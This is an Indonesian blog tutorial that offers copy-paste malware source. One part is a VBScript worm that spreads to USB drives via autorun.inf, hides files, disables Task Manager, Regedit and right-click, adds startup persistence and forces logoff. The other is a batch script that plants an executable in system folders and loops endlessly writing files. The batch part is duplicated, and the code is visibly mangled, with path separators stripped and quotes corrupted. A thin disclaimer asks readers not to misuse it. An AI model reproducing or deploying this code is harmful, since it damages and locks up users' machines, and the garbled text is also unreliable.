Space Iklan Space Iklan Space Iklan Space Iklan

[TUTOR] membut virus dengan notepad

Bookmark and Share
Buka notepad, Lalu Copy Paste Code Script di Bawah ini Yaw…. dan simpan dengan ekstensi bat (klo yang disuruh bat) atau ekstensi vbs (Klo yang disuruh vbs), misalnya virus.bat/virus.vbs



Content ‘//-ishal-//


‘//-INI VIRUS BERBAHAYA JANGAN DIBUAT MAIN-MAIN!!!!!!!-//


‘//-Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus-//


on error resume next


‘//-Dim kata-kata berikut ini-//


dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,che ck,sd


‘//-Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information-//


atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe terserah.exe.vbs”


set fs = createobject(”Scripting.FileSystemObject”)


set mf = fs.getfile(Wscript.ScriptFullname)


dim text,size


size = mf.size


check = mf.drive.drivetype


set text=mf.openastextstream(1,-2)


do while not text.atendofstream


mysource=mysource&text.readline


mysource=mysource & vbcrlf


loop


do


‘//-Copy diri untuk menjadi file induk di Windows Path (example: C:Windows)-//


Set winpath = fs.getspecialfolder(0)


set tf = fs.getfile(winpath & “terserah.exe.vbs”)


tf.attributes = 32


set tf=fs.createtextfile(winpath & “terserah.exe.vbs”,2,true)


tf.write mysource


tf.close


set tf = fs.getfile(winpath & “bosgentongs.exe.vbs”)


tf.attributes = 39


‘//-Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok-//


‘//-Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket-//


for each flashdrive in fs.drives


‘//-Cek Drive-//


If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then


‘//-Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:-//


set tf=fs.getfile(flashdrive.path &”bosgentongs.exe.vbs”)


tf.attributes =32


set tf=fs.createtextfile(flashdrive.path &”bosgentongs.exe.vbs”,2,true)


tf.write mysource


tf.close


set tf=fs.getfile(flashdrive.path &”erwinda_putra.exe.vbs”)


tf.attributes =39


‘//-Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)-//


set tf =fs.getfile(flashdrive.path &”autorun.inf”)


tf.attributes = 32


set tf=fs.createtextfile(flashdrive.path &”autorun.inf”,2,true)


tf.write atr


tf.close


set tf =fs.getfile(flashdrive.path &”autorun.inf”)


tf.attributes=39


end if


next


‘//-Manipulasi Registry-//


set rg = createobject(”WScript.Shell”)


‘//-Manip – Ubah Title Internet Explorer menjadi terserah v.s. ANTIVIRUS-//


rg.regwrite “HKEY_CURRENT_USERSoftwareMicrosoftInterne t ExplorerMainWindow Title”,” THE BOSGENTONGS v.s. ANTIVIRUS “


‘//-Manip – Set agar file hidden tidak ditampilkan di Explorer-//


rg.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindows Curr entVersionPoliciesExplorerAdvancedHidden”, “0”, “REG_DWORD”


‘//-Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager-//


rg.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindows Curr entVersionPoliciesExplorerNoFind”, “1”, “REG_DWORD”
rg.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindows Curr entVersionPoliciesExplorerNoFolderOptions”, “1”, “REG_DWORD”


rg.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindows Curr entVersionPoliciesExplorerNoRun”, “1”, “REG_DWORD”


rg.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindows Curr entVersionPoliciesSystemDisableRegistryTools”, “1”, “REG_DWORD”


rg.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindows Curr entVersionPoliciesSystemDisableTaskMgr”, “1”, “REG_DWORD”


‘//-Manip – Disable klik kanan-//


rg.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindows Curr entVersionPoliciesExplorerNoViewContextMenu”, “1”, “REG_DWORD”


‘//-Manip – Munculkan Pesan Setiap Windows Startup-//


rg.regwrite “HKEY_LOCAL_MACHINESoftwareMicrosoftWindow sCur rentVersionWinlogonLegalNoticeCaption”, “Worm Kalong. Variant from Bosgentongs, don’t panic all data are safe.“


rg.regwrite “”HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindo ws NTCurrentVersionWinlogon” /v LegalNoticeText /d “AKU TELAH MENGUASAI YOUR SISTEM!!! MAKA BERDOALAH AGAR TIDAK TERJADI“


‘//-Manip – Aktif setiap Windows Startup-//


rg.regwrite “HKEY_LOCAL_MACHINESoftwareMicrosoftWindow sCur rentVersionRunSystemdir”, winpath & “batch- bosgentongs.exe.vbs “


‘//-Manip – Ubah RegisteredOwner dan Organization-//


rg.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindow s NTCurrentVersionRegisteredOrganization”, “terserah”


rg.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindow s NTCurrentVersionRegisteredOwner”,”terserah”


‘//-Manip – Membuat Cadangan di sistem svchost, MS32Dll dan membuat ikon-//


rg.regwrite “HKEY_LOCAL_MACHINESoftwareMicrosoftWindow sCur rentVersionRunsvchost”,winpath&”terserah.exe.vb s”


rg.regwrite “HKEY_LOCAL_MACHINESoftwareMicrosoftWindow sCur rentVersionRunMS32DLL”,”"


rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3”


‘//-Manip – Me-Log off komputer setelah log on BOLEH DIHAPUS KLO MAU LIHAT EFEKNYA!!!-//


rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Window s\Cur rentVersion\Run\Logoff”, winpath & “\System32\Logoff.exe”


‘//-Fungsi di untuk mengaktifkan kembali script dan mengulangnya kembali-//


if check 1 then


Wscript.sleep 100000


end if


loop while check1


set sd = createobject(”Wscript.shell”)


sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname


do while year(now) >= 2009


WScript.sleep 20000


‘//-Memunculkan pesan window terus menerus-//


msgbox “Selamatlah virus ini tiba di sistem ente” & vbcrlf & _


“kulo nyuwun pangapuranipun menawi sampung mengganggu ente sekalian” & vbcrlf & _


-jangan kawatir dan sedih, aku tidak akan kuasai komputer bobrok ini. kini ente sudah masuk dalam permainanku” & vbcrlf & _


“ini hanya permainnaku yang aku kesepian di sini” & vbcrlf & _


vbcrlf & vbcrlf & _


” elok-elok indah kehidupan bukan kenyataan” & vbcrlf & vbcrlf & _


” saatnya kini aku bangkit dalam mimpi ituk“


‘//-Mengulang kode script-// loop


simpan dengan nama terserah.exe.vbs


lalu bisa juga nih kalo yang mau make .bat secripnya bisa di copas


Content cd C:


mkdirAlertWarningDangersA NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH MENCARI PACAR/ADA YANG MAU?


cd C:Windows


mkdirAlertWarningDangersA NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH MENCARI PACAR/ADA YANG MAU?


cd C:WindowsSystem32


mkdirAlertWarningDangersA NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH MENCARI PACAR/ADA YANG MAU?


cd D:


mkdirAlertWarningDangersA NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH MENCARI PACAR/ADA YANG MAU?


@echo off


copy bosgentongsvirus.bmp %systemdrive% /y


copy bosgentongsvirus.bmp %systemdrive%WINDOWS /y


copy bosgentongsvirus.bmp %systemdrive%WINDOWSsystem32 /y


copy bosgentongsvirus.exe %systemdrive% /y


copy bosgentongsvirus.exe %systemdrive%WINDOWS /y


copy bosgentongsvirus.exe %systemdrive%WINDOWSsystem32 /y


reg add “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindow s NTCurrentVersionWinlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM BOSGENTONGS” /f


reg add “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindow s NTCurrentVersionWinlogon” /v LegalNoticeText /d “AKU TELAH MENGUASAI YOUR SISTEM!!! MAKA BERDOALAH AGAR TIDAK TERJADI” /f


reg add “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindow sCur rentVersionRun” /v bosgentongsvirus /d %systemdrive%windowssystem32bosgentongsvirus.ex e /f


reg add “HKEY_CURRENT_USERControl PanelDesktop” /v Wallpaper /d %systemdrive%WINDOWSsystem32bosgentongsvirus.bm p /f


reg add “HKEY_CURRENT_USERControl PanelDesktop” /v WallpaperStyle /d 0 /f


reg add “HKEY_CURRENT_USERControl PanelColors” /v window /d #C10000 /f


reg add “HKEY_USERS.DEFAULTControl PanelDesktop” /v Wallpaper /d %systemdrive%WINDOWSsystem32bosgentongsvirus.bm p /f


:bgvirus


echo>>Albert.reg


echo>>Anak.chm


echo>>Ideal.dll


echo>>Sekali.htt


cls


goto bgvirus


echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$


echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$


echo ——————————————————-


echo ============= BOSGENTONGS love HACKER ==============


echo ============= THX TO KALLONG ==============


echo ============= Tangerang, 1 oktober 2010 ==============


echo ——————————————————-


echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$


echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$


echo …


echo AWAS JANGAN PENCET TOMBOL APAPUN!


echo Atau memori anda akan penuh


echo …


echo Mendeteksi apabila tombol keyboard dipencet …….


Pause>null


:bgvirus


echo>>Albert.reg


echo>>Anak.chm


echo>>Ideal.dll


echo>>Sekali.htt echo>>Yes.txt



Content cd C:


mkdirAlertWarningDangersA NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH MENCARI PACAR/ADA YANG MAU?


cd C:Windows


mkdirAlertWarningDangersA NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH MENCARI PACAR/ADA YANG MAU?


cd C:WindowsSystem32


mkdirAlertWarningDangersA NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH MENCARI PACAR/ADA YANG MAU?


cd D:


mkdirAlertWarningDangersA NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH MENCARI PACAR/ADA YANG MAU?


@echo off


copy bosgentongsvirus.bmp %systemdrive% /y


copy bosgentongsvirus.bmp %systemdrive%WINDOWS /y


copy bosgentongsvirus.bmp %systemdrive%WINDOWSsystem32 /y


copy bosgentongsvirus.exe %systemdrive% /y


copy bosgentongsvirus.exe %systemdrive%WINDOWS /y


copy bosgentongsvirus.exe %systemdrive%WINDOWSsystem32 /y


reg add “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindow s NTCurrentVersionWinlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM BOSGENTONGS” /f


reg add “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindow s NTCurrentVersionWinlogon” /v LegalNoticeText /d “AKU TELAH MENGUASAI YOUR SISTEM!!! MAKA BERDOALAH AGAR TIDAK TERJADI” /f


reg add “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindow sCur rentVersionRun” /v bosgentongsvirus /d %systemdrive%windowssystem32bosgentongsvirus.ex e /f


reg add “HKEY_CURRENT_USERControl PanelDesktop” /v Wallpaper /d %systemdrive%WINDOWSsystem32bosgentongsvirus.bm p /f


reg add “HKEY_CURRENT_USERControl PanelDesktop” /v WallpaperStyle /d 0 /f


reg add “HKEY_CURRENT_USERControl PanelColors” /v window /d #C10000 /f


reg add “HKEY_USERS.DEFAULTControl PanelDesktop” /v Wallpaper /d %systemdrive%WINDOWSsystem32bosgentongsvirus.bm p /f


:bgvirus


echo>>Albert.reg


echo>>Anak.chm


echo>>Ideal.dll


echo>>Sekali.htt


cls


goto bgvirus


echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$


echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$


echo ——————————————————-


echo ============= BOSGENTONGS love HACKER ==============


echo ============= THX TO KALLONG ==============


echo ============= Tangerang, 1 oktober 2010 ==============


echo ——————————————————-


echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$


echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$


echo …


echo AWAS JANGAN PENCET TOMBOL APAPUN!


echo Atau memori anda akan penuh


echo …


echo Mendeteksi apabila tombol keyboard dipencet …….


Pause>null


:bgvirus


echo>>Albert.reg


echo>>Anak.chm


echo>>Ideal.dll


echo>>Sekali.htt echo>>Yes.txt



Mohon ini tutuor jangan di salah gunakan... ini virus yang sangat berbahaya sekali... keterangan :


Yang Di miringin: ga Usah Ditulis Karena hanya Sebagai Petunjuk Saja Yang Di Tebelin: bisa diganti tulisannya


Penulis tidak bertangung jawab apa bila terjadi kerusakan pada komputer kalian smua ^_^ refrensi by: IHT dan mas kalong
 
beritasehari